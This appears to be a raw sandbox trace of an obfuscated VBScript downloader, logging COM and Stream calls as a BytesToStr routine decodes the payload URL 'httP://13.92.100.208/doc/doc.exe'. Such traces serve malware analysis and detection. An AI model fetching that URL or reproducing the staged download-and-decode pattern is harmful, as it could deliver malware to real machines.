Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.797] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.797] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.797] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.797] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.797] GetCurrentThreadId () returned 0xd44 [0088.797] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.798] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.798] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.798] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.798] GetCurrentThreadId () returned 0xd44 [0088.798] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.798] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.798] malloc (_Size=0x804) returned 0x83fc220 [0088.798] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.798] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.798] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.799] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0088.799] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.799] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.799] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.799] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.799] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.799] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.799] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.799] GetCurrentThreadId () returned 0xd44 [0088.800] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.800] malloc (_Size=0x404) returned 0x86ea2e0 [0088.801] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.801] malloc (_Size=0x804) returned 0x83fc220 [0088.801] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.801] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.801] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0088.801] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.801] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0088.801] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.801] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.801] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0xff67, wReserved2=0x6767, wReserved3=0xff67, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04208*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0xff676767)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0xff67, wReserved2=0x6767, wReserved3=0xff67, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04208*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0xff676767)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.801] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.802] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.802] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.802] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.802] GetCurrentThreadId () returned 0xd44 [0088.802] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.802] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.802] malloc (_Size=0x804) returned 0x83fc220 [0088.802] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.802] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.802] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.802] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0088.802] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.802] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.803] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.803] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.803] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.803] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0088.803] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.803] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.804] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.804] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.804] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.804] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0088.804] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.804] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.804] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0088.804] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.804] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.804] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.804] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.804] GetCurrentThreadId () returned 0xd44 [0088.804] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.805] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.805] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.805] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.805] GetCurrentThreadId () returned 0xd44 [0088.805] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.805] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.805] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.806] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.806] GetCurrentThreadId () returned 0xd44 [0088.806] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.806] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.806] malloc (_Size=0x804) returned 0x83fc220 [0088.806] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.806] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.806] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.806] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0088.806] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.806] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.806] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.806] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.806] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.807] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154234 | out: ppvObject=0x154234*=0x11977a8) returned 0x0 [0088.807] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fffffffffff", grfdex=0x8, pid=0x154250 | out: pid=0x154250*=1393324) returned 0x80020006 [0088.807] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fffffffffff", grfdex=0x8, pid=0x1541a8 | out: pid=0x1541a8*=-1) returned 0x80020006 [0088.807] GetCurrentThreadId () returned 0xd44 [0088.807] IUnknown:Release (This=0x11977a8) returned 0x9 [0088.807] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.807] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.807] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.807] GetCurrentThreadId () returned 0xd44 [0088.807] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.807] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.807] malloc (_Size=0x804) returned 0x83fc220 [0088.808] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.808] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.808] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0088.808] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.808] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.808] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.808] GetCurrentThreadId () returned 0xd44 [0088.808] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.808] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.808] malloc (_Size=0x804) returned 0x83fc220 [0088.809] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.809] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.809] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.809] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0088.809] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.809] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.809] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0088.809] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.810] free (_Block=0x1197880) [0088.810] free (_Block=0x86ea2e0) [0088.810] free (_Block=0x11917e0) [0088.810] free (_Block=0x83d9f10) [0088.810] ??3@YAXPAX@Z () returned 0xc80001 [0088.810] free (_Block=0x1197838) [0088.810] free (_Block=0x11c29f0) [0088.810] free (_Block=0x847b3d8) [0088.811] free (_Block=0x83d9df8) [0088.811] ??3@YAXPAX@Z () returned 0xb60001 [0088.811] IUnknown:QueryInterface (in: This=0x11977a8, 